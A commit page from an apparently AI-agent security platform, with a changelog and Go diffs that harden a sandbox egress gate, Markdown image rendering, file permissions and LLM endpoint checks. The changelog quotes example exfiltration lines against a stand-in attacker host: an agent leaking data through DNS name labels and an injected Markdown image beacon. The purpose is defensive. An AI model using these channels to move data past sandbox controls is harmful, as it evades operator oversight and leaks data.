Compare commits

...
Author SHA1 Message Date
BaaRai c02995c2f0 fix(intercept): resolve a target name only once something approved it
CheckTargets resolved every host name a gated call wrote with the panel's
resolver before it looked at exemptions, grants or pins, and applied the
per-call cap afterwards. The lookup reaches the name server of the domain
from the panel, past the sandbox egress boundary, so the labels of a name
were a channel out of the sandbox, and a call naming many hosts cost two
lookups and a pin query per host.

A name is now resolved only when a stored exemption on the target, an
operator-approved egress grant or an active pin on any port of the name
covers it. Any other name is requested by name, without addresses. On
approval Decide resolves it once and matches every address against the
asset block rules, as the gate does for any address it resolves: if one
address is blocked, nothing is pinned and the request is closed as denied
by the system, so a pin never holds a blocked address; otherwise the
addresses are pinned and the next check compares against that pin. The
cap on targets to request is applied before any lookup, and the scope's
pins are read once per call.
2026-12-04 14:31:42 +01:00
12 changed files with 689 additions and 81 deletions
+1
View File
@@ -6,6 +6,7 @@ All notable changes to this project are documented in this file. The format is b
### Security
- **The target gate no longer resolves names that nothing approved.** For every tool call of a gated scope, `CheckTargets` resolved each host name the call wrote with the panel's resolver before it looked at exemptions, grants or pins, and applied the per-call cap only afterwards. The lookup leaves the panel past the sandbox egress boundary and reaches the name server of the domain, so an agent could send data in the labels of a name (`curl http://<data>.attacker.example/`) without the command ever running, and a call naming hundreds of hosts cost two lookups and a pin query per host. A name is now resolved only when a stored exemption on the target, an operator-approved egress grant or an active pin on any port of the name covers it. A name that nothing has approved is not resolved: it gets an approval request that shows the name only. When the operator approves it, the platform resolves the name once and runs the IP block rules on every address it resolves to. If even one address is blocked, the approval is refused: nothing is pinned, the request is closed, and the waiting call is refused with `TARGET_DENIED` (the approver sees the request as already decided: HTTP 409, "Already decided in ARTEX" in a chat). A clean name still pins the addresses it resolved to, and later calls and dials compare against that pin as before. The cap of five targets to request per call is applied before any lookup, and the pins of the scope are read once per call. Behaviour change: the first request for a new name lists no addresses; a new name that does not resolve raises an approval request instead of `TARGET_RESOLVE_FAILED`, and approving it is refused (the request stays open) while the name does not resolve.
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `![x](https://attacker.example/?d=...)` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
- **Saved LLM profiles and run-time completions go through the model URL guard.** The connection test refused a `base_url` or proxy on a loopback, private or instance-metadata address, but saving a profile accepted it, and every completion of a task, chat or Agent bound to that profile was sent there with the profile's stored API key. Saving a profile (`POST /api/llm/profiles`) and the legacy `POST /api/llm` now refuse what the connection test refuses, and every completion provider the server builds validates the proxy and each request URL before sending, checks every connection on the address it dials (so a name that later resolves to a refused address is still refused), validates redirects and keeps them on the configured origin. The existing allowances are unchanged: an exact `host:port` listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` (for example Ollama or vLLM on the host or the Docker network) is accepted at save and at run time, and an Ollama profile on the built-in default `http://127.0.0.1:11434/v1` (an empty base URL) keeps working without it. Behaviour change: a stored profile, or an `ARTEX_LLM_*` environment config, whose endpoint or proxy points at a loopback, LAN or Docker-network address not listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` stops working (each request fails with the guard's refusal) until its `host:port` is added there; a SOCKS5 proxy on a profile is refused, as the connection test already refused it; and a profile host that does not resolve cannot be saved.
+22 -1
View File
@@ -345,6 +345,22 @@ func (d *DB) TargetRequestKey(id int64) (string, error) {
// approval returns ErrTargetGateDisabled after committing the denial. If the
// pin cannot be written the row stays pending.
func (d *DB) ResolveTargetRequest(id int64, allowed bool, approver, remoteAddr string) (pin *TargetPin, ok bool, err error) {
return d.ResolveTargetRequestWith(id, allowed, approver, remoteAddr, nil)
}
// TargetAddresses are the addresses resolved for a target request that was
// raised by name only, after a human approved it.
type TargetAddresses struct {
IPs []string
Resolver string
ResolvedAt time.Time
}
// ResolveTargetRequestWith is ResolveTargetRequest for a request the gate
// raised by name only (a name nothing approved is not resolved before a human
// approves it): on approval, resolved gives the addresses to pin when the
// request displays none. A request that displays addresses ignores resolved.
func (d *DB) ResolveTargetRequestWith(id int64, allowed bool, approver, remoteAddr string, resolved *TargetAddresses) (pin *TargetPin, ok bool, err error) {
tx, err := d.Begin()
if err != nil {
return nil, false, err
@@ -405,6 +421,11 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
if len(audit.Targets) != 1 {
return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
}
reason = "user approved the target; the displayed addresses were pinned"
if t := &audit.Targets[0]; len(t.ResolvedIPs) == 0 && resolved != nil {
t.ResolvedIPs, t.Resolver, t.ResolvedAt = resolved.IPs, resolved.Resolver, resolved.ResolvedAt
reason = "user approved the target by name; the addresses it resolved to after the approval were pinned"
}
scope := TargetScopeRef{ConversationID: convID.Int64}
if taskID.Valid {
if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
@@ -414,7 +435,7 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
return nil, false, err
}
status, action, reason = "allowed", "allow", "user approved the target; the displayed addresses were pinned"
status, action = "allowed", "allow"
// A plain target request is host-level: no single call owns its result.
execution = "unknown"
if audit.MergedAsk && audit.Correlation == "exact" {
+76 -3
View File
@@ -979,11 +979,19 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
// ErrTargetAddressBlocked reports an approval of a request raised by name whose
// name resolved, on approval, to an address an asset block rule refuses. Nothing
// is pinned and the request is closed as denied by the system; the error wraps
// ErrAlreadyDecided, as a click the system turned into a denial does.
var ErrTargetAddressBlocked = errors.New("the approved name resolves to an address an asset block rule refuses")
// Decide resolves a pending request. Called by the HTTP decide endpoint.
// approver (subject of the session token) and remoteAddr identify the human
// behind the decision; they are recorded in the row's audit. On a target
// request "allowed" also pins the addresses the request displayed, and both
// values go to the pin: a human decision is the only thing that creates a pin.
// request "allowed" also pins the addresses the request displayed (for a name
// requested without addresses, the addresses it resolves to on approval), and
// both values go to the pin: a human decision is the only thing that creates a
// pin.
func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
status := "denied"
if allowed {
@@ -999,7 +1007,13 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
}
var resolved bool
if targetKey != "" {
_, resolved, err = i.db.ResolveTargetRequest(pendingID, allowed, approver, remoteAddr)
var addrs *db.TargetAddresses
if allowed {
if addrs, err = i.resolveApprovedName(pendingID); err != nil {
return err
}
}
_, resolved, err = i.db.ResolveTargetRequestWith(pendingID, allowed, approver, remoteAddr, addrs)
} else {
resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
}
@@ -1018,3 +1032,62 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
i.pending.resolve(pendingID, allowed)
return nil
}
// resolveApprovedName resolves the name of a target request the gate raised by
// name only, now that a human approved it, and returns the addresses to pin.
// It returns nil for any other request: those pin the addresses they display.
// A name that does not resolve is refused like a request without addresses,
// and the request stays open.
func (i *Interceptor) resolveApprovedName(pendingID int64) (*db.TargetAddresses, error) {
detail, err := i.db.GetInterceptDetail(pendingID)
if err != nil || detail == nil || detail.Audit == nil || len(detail.Audit.Targets) != 1 {
return nil, err
}
t := detail.Audit.Targets[0]
if t.Kind != TargetDomain || len(t.ResolvedIPs) != 0 {
return nil, nil
}
res, err := i.resolve.lookup(context.Background(), t.Host, true)
if err != nil {
return nil, fmt.Errorf("%w: %s did not resolve after the approval (%v)", db.ErrTargetPinEmpty, t.Host, err)
}
// The addresses meet the asset block rules before anything is pinned, as
// the gate matches every address it resolves. One blocked address refuses
// the whole approval: a pin never holds a blocked address, and a partial
// pin would cover a name that still answers it. A block is final in the
// gate (it opens no request), so the request is closed as denied by the
// system instead of left open for an approval that can never pin.
ref, err := detailScope(detail)
if err != nil {
return nil, err
}
rules, err := i.targets.BlockRules(ref)
if err != nil {
return nil, fmt.Errorf("the asset rules could not be read: %w", err)
}
ct := &checkedTarget{Target: Target{Kind: t.Kind, Host: t.Host, Port: t.Port}, ips: res.ips}
if rule, hit := blockRule(rules, ct); hit {
reason := fmt.Sprintf("%s resolved on approval to %s, and an asset rule blocks it, so nothing was pinned. %s",
ct.Target, strings.Join(res.ips, ", "), rule.Reason())
if _, err := i.settleTargetRequest(pendingID, "denied", reason); err != nil {
return nil, err
}
return nil, fmt.Errorf("%w: %w: %s", ErrAlreadyDecided, ErrTargetAddressBlocked, reason)
}
return &db.TargetAddresses{IPs: res.ips, Resolver: i.resolve.name(), ResolvedAt: res.at}, nil
}
// detailScope is the scope of a target request row.
func detailScope(d *db.InterceptDetail) (db.TargetScopeRef, error) {
if d.TaskID != nil {
id, err := strconv.ParseInt(*d.TaskID, 10, 64)
if err != nil {
return db.TargetScopeRef{}, fmt.Errorf("target request %d: task id %q: %w", d.ID, *d.TaskID, err)
}
return db.TargetScopeRef{TaskID: id}, nil
}
if d.ConversationID != nil {
return db.TargetScopeRef{ConversationID: *d.ConversationID}, nil
}
return db.TargetScopeRef{}, fmt.Errorf("target request %d names no scope", d.ID)
}
+1 -1
View File
@@ -195,7 +195,7 @@ func notCovered(r TargetRequest, scope TargetScope) string {
return fmt.Sprintf("%s now resolves to %s, outside pin v%d (%s) of %s",
r.Host, strings.Join(r.ResolvedIPs, ", "), r.Pin.Version, strings.Join(r.Pin.PinnedIPs, ", "), scope.scopeName())
}
if r.Kind != TargetDomain {
if r.Kind != TargetDomain || len(r.ResolvedIPs) == 0 {
return fmt.Sprintf("%s is not approved for %s", r.Host, scope.scopeName())
}
return fmt.Sprintf("%s resolves to %s and is not approved for %s", r.Host, strings.Join(r.ResolvedIPs, ", "), scope.scopeName())
+1 -1
View File
@@ -174,7 +174,7 @@ func TestPinnedDialScopeUnreadableFailsClosed(t *testing.T) {
{"nil interceptor", func(g *gateFixture) { g.scope.Interceptor = nil }, "tcp", "app.example.com:443", 0},
{"task id", func(g *gateFixture) { g.scope.TaskID = "seven" }, "tcp", "app.example.com:443", 0},
{"rules", func(g *gateFixture) { g.store.fail["BlockRules"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
{"pins", func(g *gateFixture) { g.store.fail["ActivePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
{"pins", func(g *gateFixture) { g.store.fail["ScopePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
{"exemptions", func(g *gateFixture) { g.store.fail["Exemptions"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
{"address", nil, "tcp", "app.example.com", 1},
{"port", nil, "tcp", "app.example.com:0", 1},
+164 -44
View File
@@ -38,9 +38,9 @@ type targetStore interface {
// BlockRules returns the asset block rules that apply to the scope: the
// global ones and, for a task, its own. Allow rules play no role in the gate.
BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptRule, error)
// ActivePins returns the active pins that may cover (host, port) in scope,
// the pin on the exact port first.
ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error)
// ScopePins returns the active pins of the scope. The gate reads them once
// per call and picks the candidates of each target with pinsFor.
ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error)
// EgressGrants returns the normalized egress entries an operator approved
// for the scope's task: its approved task_scope rows and the entries
// frozen by approved company grants. Task allow rules play no role in the
@@ -66,8 +66,27 @@ func (s dbTargetStore) BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptR
return append(rules, block...), nil
}
func (s dbTargetStore) ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
return s.d.ActiveTargetPins(scope, host, port)
func (s dbTargetStore) ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error) {
pins, err := s.d.ListTargetPins(scope)
if err != nil {
return nil, err
}
return slices.DeleteFunc(pins, func(p *db.TargetPin) bool { return p.Status != db.TargetPinActive }), nil
}
// pinsFor returns the active pins that may cover (host, port), the pin on the
// exact port first, as db.ActiveTargetPins does: a target on a declared port
// has the pin on that port and the pin on port 0 as candidates, a target whose
// port is not declared only the pin on port 0.
func pinsFor(pins []*db.TargetPin, host string, port int) []*db.TargetPin {
var out []*db.TargetPin
for _, p := range pins {
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
out = append(out, p)
}
}
slices.SortStableFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
return out
}
func (s dbTargetStore) EgressGrants(scope db.TargetScopeRef) ([]db.ScopeEgress, error) {
@@ -95,11 +114,18 @@ func (s dbTargetStore) LogDecision(r db.TargetDecision) error {
// rules, exemptions, resolution and the pin lookup. It creates no approval
// request and never waits.
//
// Only a name that something already approved is resolved: a stored exemption,
// an operator-approved egress grant or a pin that names it. A lookup goes out
// through the panel's resolver, past the sandbox egress boundary, so a name
// nothing approved is never looked up: it is requested by name, and resolved
// when a human approves it (Decide).
//
// A block is reported in the result (Code, Reason and the target that caused
// it) and logged as a decided row. Otherwise the returned requests are the
// targets no pin covers, each with the addresses a human has to read; the
// caller passes them to RequestTargets and checks again after the decisions.
// No request and no code means the call may run.
// targets no pin covers, each with the addresses a human has to read (none for
// a name that was not resolved); the caller passes them to RequestTargets and
// checks again after the decisions. No request and no code means the call may
// run.
//
// With the gate off the call returns at once: nothing is extracted, resolved,
// read or written.
@@ -131,6 +157,39 @@ type targetCheck struct {
fresh bool
// checked is what the run decided about each target, read by dialTarget.
checked []*checkedTarget
// pins are the active pins of the scope, read once per run (pinsRead).
pins []*db.TargetPin
pinsRead bool
}
// activePins returns the active pins that may cover (host, port). The pins of
// the scope are read on the first call of a run and reused for every target.
func (c *targetCheck) activePins(host string, port int) ([]*db.TargetPin, error) {
if err := c.readPins(); err != nil {
return nil, err
}
return pinsFor(c.pins, host, port), nil
}
// namePinned reports whether a human approved the name on some port: an
// active pin of the scope holds it.
func (c *targetCheck) namePinned(host string) (bool, error) {
if err := c.readPins(); err != nil {
return false, err
}
return slices.ContainsFunc(c.pins, func(p *db.TargetPin) bool { return p.Host == host }), nil
}
func (c *targetCheck) readPins() error {
if c.pinsRead {
return nil
}
pins, err := c.i.targets.ScopePins(c.ref)
if err != nil {
return err
}
c.pins, c.pinsRead = pins, true
return nil
}
// What let a target pass, recorded in checkedTarget.cover.
@@ -151,6 +210,9 @@ type checkedTarget struct {
err error // the name did not resolve
exemptVoid bool
cover string // what let the target pass; empty when nothing did
// unresolved: a name no stored exemption, grant or pin names. It is never
// resolved by the check and is requested by name.
unresolved bool
}
func (t Target) String() string {
@@ -214,17 +276,6 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", t, rule.Reason()))
}
}
// Only then are the names resolved, and the rules matched on the addresses.
// A name the configuration exempts is never resolved.
for _, ct := range checked {
if ct.Kind != TargetDomain || ex.derived[db.TargetKey(ct.Host, ct.Port)] {
continue
}
c.resolve(ct, c.fresh)
if rule, hit := blockRule(rules, ct); hit {
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
}
}
i.mu.RLock()
proxied := i.upstreamProxy
@@ -239,31 +290,40 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
direct := DirectHop(c.ctx)
nameOnly := !direct && ((proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool)))
var unpinned []TargetRequest
// The decision on each target, in the order the call declares them. slots
// holds the request of a target that no pin covers.
slots := make([]*TargetRequest, len(checked))
var uses []func()
for _, ct := range checked {
decide := func(n int, ct *checkedTarget) TargetResult {
key := db.TargetKey(ct.Host, ct.Port)
if ex.derived[key] {
ct.cover = coverDerived
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
continue
return TargetResult{}
}
if ex.stored[key] {
if exemptionHolds(ct) {
ct.cover = coverStored
uses = append(uses, func() { c.exemptUsed(ct, ex.digest) })
continue
return TargetResult{}
}
// A void exemption is not a block: the target goes on like any other.
ct.exemptVoid = true
}
if ct.unresolved {
// Requested by name: the addresses are resolved when a human
// approves it, and checked by the next run on the pin.
slots[n] = &TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, Reason: "no_pin"}
return TargetResult{}
}
if ct.err != nil {
// Checked before the grants: a granted name that does not resolve
// fails closed like any other name. Nothing was resolved, so no
// address ever met the IP block rules, and an approval could pin
// nothing; passing on the grant alone would turn a lookup failure
// into a silent allow.
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
return res
}
if scopeGrantCover(grants, ct) {
// The operator already approved this address space: the grant is a
@@ -277,11 +337,12 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
ct.cover = coverNameOnly
}
uses = append(uses, func() { c.scopeGrantUsed(ct, grantsDigest) })
continue
return TargetResult{}
}
pins, err := i.targets.ActivePins(c.ref, ct.Host, ct.Port)
pins, err := c.activePins(ct.Host, ct.Port)
if err != nil {
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
_, res := c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
return res
}
pin := coveringPin(pins, ct.ips, nameOnly, direct)
if pin == nil && ct.Kind == TargetDomain && !c.fresh {
@@ -289,10 +350,12 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
// pins are resolved now, never taken from the cache. A fresh run
// already has them.
if c.resolve(ct, true); ct.err != nil {
return c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
_, res := c.block(TargetResolveFailed, "resolve_failed", ct, c.resolveFailure(ct))
return res
}
if rule, hit := blockRule(rules, ct); hit {
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
_, res := c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
return res
}
pin = coveringPin(pins, ct.ips, nameOnly, direct)
}
@@ -302,7 +365,7 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
ct.cover = coverNameOnly
}
uses = append(uses, func() { c.pinUsed(ct, pin, nameOnly) })
continue
return TargetResult{}
}
req := TargetRequest{Host: ct.Host, Port: ct.Port, Kind: ct.Kind, ResolvedIPs: ct.ips,
Resolver: ct.resolver, ResolvedAt: ct.resolvedAt, Reason: "no_pin", ExemptVoid: ct.exemptVoid}
@@ -311,22 +374,64 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
// the exact port when both exist), so that an approval extends that pin.
req.Port, req.Reason, req.Pin = pins[0].Port, "new_ip", pins[0]
}
if !hasRequest(unpinned, req) {
unpinned = append(unpinned, req)
slots[n] = &req
return TargetResult{}
}
requests := func() []TargetRequest {
var out []TargetRequest
for _, r := range slots {
if r != nil && !hasRequest(out, *r) {
out = append(out, *r)
}
}
return out
}
// First every target that needs no lookup: a derived exemption, an IP
// literal or a range, and a name that nothing approved. A name is resolved
// only when a stored exemption on the target, an operator-approved grant or
// a pin on any port of the name names it; any other name is requested by
// name and never looked up here, so an agent cannot send data to a name
// server through the labels of a name.
var named []int
for n, ct := range checked {
if ct.Kind == TargetDomain && !ex.derived[db.TargetKey(ct.Host, ct.Port)] {
pinned, err := c.namePinned(ct.Host)
if err != nil {
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
}
if pinned || ex.stored[db.TargetKey(ct.Host, ct.Port)] || scopeGrantCover(grants, ct) {
named = append(named, n)
continue
}
ct.unresolved = true
}
if res := decide(n, ct); res.Code != "" {
return nil, res
}
}
if len(unpinned) > maxUnpinnedTargets {
names := make([]string, len(unpinned))
audit := make([]db.InterceptTarget, len(unpinned))
for n, r := range unpinned {
names[n] = targetName(r)
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
// The cap applies before any lookup: a call that already names too many
// targets to request resolves nothing.
if unpinned := requests(); len(unpinned) > maxUnpinnedTargets {
return c.tooMany(unpinned)
}
// Then the names something approved are resolved, and the rules matched on
// the addresses, before any of them is decided.
for _, n := range named {
ct := checked[n]
c.resolve(ct, c.fresh)
if rule, hit := blockRule(rules, ct); hit {
return c.block(TargetRuleBlocked, "rule_blocked", ct, fmt.Sprintf("%s is blocked by an asset rule. %s", ct.Target, rule.Reason()))
}
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
c.log("denied", TargetTooMany+": "+reason, "", audit...)
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
}
for _, n := range named {
if res := decide(n, checked[n]); res.Code != "" {
return nil, res
}
}
unpinned := requests()
if len(unpinned) > maxUnpinnedTargets {
return c.tooMany(unpinned)
}
if len(unpinned) == 0 {
// The call passes: record what let it pass, once per process.
@@ -344,9 +449,24 @@ func (c *targetCheck) resolve(ct *checkedTarget, fresh bool) {
ct.ips, ct.resolvedAt, ct.err = res.ips, res.at, err
}
// tooMany blocks a call that names more targets to request than one call may.
func (c *targetCheck) tooMany(unpinned []TargetRequest) ([]TargetRequest, TargetResult) {
names := make([]string, len(unpinned))
audit := make([]db.InterceptTarget, len(unpinned))
for n, r := range unpinned {
names[n] = targetName(r)
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
}
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
c.log("denied", TargetTooMany+": "+reason, "", audit...)
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
}
func (c *targetCheck) resolveFailure(ct *checkedTarget) string {
reason := fmt.Sprintf("the platform could not resolve %s (%v)", ct.Host, ct.err)
if pins, err := c.i.targets.ActivePins(c.ref, ct.Host, ct.Port); err == nil && len(pins) > 0 {
if pins, err := c.activePins(ct.Host, ct.Port); err == nil && len(pins) > 0 {
reason += fmt.Sprintf(", so it cannot compare the address with the approved pin (v%d: %s)",
pins[0].Version, strings.Join(pins[0].PinnedIPs, ", "))
}
+10 -3
View File
@@ -382,17 +382,20 @@ func TestApprovalNeverPinsEmptyAddressList(t *testing.T) {
scope := taskScope(t, d, ic, time.Minute)
ref := scope.dbRef(t)
// RequestTargets refuses to open such a request.
// RequestTargets refuses to open such a request. (A name nothing approved
// is requested without addresses on purpose: Decide resolves it on
// approval. Any other request without addresses is refused.)
for _, ips := range [][]string{nil, {}} {
out := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput,
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
[]TargetRequest{{Host: "198.51.100.9", Port: 443, Kind: TargetIP, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
if out.Code != TargetResolveFailed || out.PendingID != 0 {
t.Fatalf("request with %v: %+v, want %s", ips, out, TargetResolveFailed)
}
}
// One empty target refuses the whole call, before any row is written.
out := ic.RequestTargets(context.Background(), scope, "Bash", []byte(`{"command":"x"}`),
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"), target("b.example.com", 443)}, nil)
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"),
{Host: "b.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: &db.TargetPin{ID: 1, Version: 1, PinnedIPs: []string{"203.0.113.8"}}}}, nil)
if out.Code != TargetResolveFailed || out.Host != "b.example.com" || allRows(t, d, scope) != 0 {
t.Fatalf("mixed call: %+v with %d rows, want %s and no row", out, allRows(t, d, scope), TargetResolveFailed)
}
@@ -458,6 +461,10 @@ func TestTargetBlockIsLoggedForConversation(t *testing.T) {
_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
})
scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
// A pin on another port makes the name one the gate resolves; a name
// nothing approved is requested by name and never blocked on its lookup.
res.set("app.example.com", "203.0.113.7")
pinURL(t, d, ic, scope, "https://app.example.com:8443/")
res.errs["app.example.com"] = errors.New("no such host")
ctx := WithCall(WithConvID(context.Background(), conv.ID), "WebFetch", fetchInput("https://app.example.com/"))
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("https://app.example.com/")); out.Code != TargetResolveFailed || len(reqs) != 0 {
+46 -21
View File
@@ -25,6 +25,9 @@ type fakeStore struct {
fail map[string]error // by method name
reads int
logged []db.TargetDecision
// resolve is the lookup approve does for a request raised by name, as
// Decide does on approval.
resolve func(host string) []string
}
func (s *fakeStore) read(method string) error {
@@ -38,19 +41,18 @@ func (s *fakeStore) BlockRules(db.TargetScopeRef) ([]db.AssetInterceptRule, erro
return s.rules, s.read("BlockRules")
}
func (s *fakeStore) ActivePins(_ db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
if err := s.read("ActivePins"); err != nil {
func (s *fakeStore) ScopePins(db.TargetScopeRef) ([]*db.TargetPin, error) {
if err := s.read("ScopePins"); err != nil {
return nil, err
}
s.mu.Lock()
defer s.mu.Unlock()
var out []*db.TargetPin
for _, p := range s.pins {
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
if p.Status == db.TargetPinActive {
out = append(out, p)
}
}
slices.SortFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
return out, nil
}
@@ -72,6 +74,10 @@ func (s *fakeStore) LogDecision(r db.TargetDecision) error {
// approve pins what the request displays: a new version that holds the
// addresses of the active pin of the key plus the displayed ones.
func (s *fakeStore) approve(r TargetRequest) *db.TargetPin {
if len(r.ResolvedIPs) == 0 && r.Kind == TargetDomain && s.resolve != nil {
// A request raised by name: Decide resolves it on approval.
r.ResolvedIPs = s.resolve(r.Host)
}
s.mu.Lock()
defer s.mu.Unlock()
pin := &db.TargetPin{ID: int64(len(s.pins) + 1), Host: r.Host, Port: r.Port, Version: 1, Status: db.TargetPinActive,
@@ -103,7 +109,9 @@ func (s *fakeStore) revoke(host string, port int) {
}
func (s *fakeStore) active(host string, port int) *db.TargetPin {
pins, _ := s.ActivePins(db.TargetScopeRef{}, host, port)
s.mu.Lock()
pins := pinsFor(s.pins, host, port)
s.mu.Unlock()
for _, p := range pins {
if p.Port == port {
return p
@@ -200,6 +208,10 @@ func newGate(t *testing.T) *gateFixture {
g.ic.targets = g.store
g.ic.SetResolver(g.res)
g.ic.resolve.now = func() time.Time { return g.clock }
g.store.resolve = func(host string) []string {
res, _ := g.ic.resolve.lookup(context.Background(), host, true)
return res.ips
}
g.scope = TargetScope{TaskID: "7", Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: g.ic}
return g
}
@@ -285,18 +297,19 @@ func TestGateStateMachine(t *testing.T) {
g := newGate(t)
g.res.set("app.example.com", "203.0.113.7")
// No pin: a request for the addresses that were resolved.
// No pin: a request for the name. Nothing approved it, so it is not
// resolved; an approval resolves it (Decide, here the fake store).
req := g.requests("no pin", g.fetch(appURL))
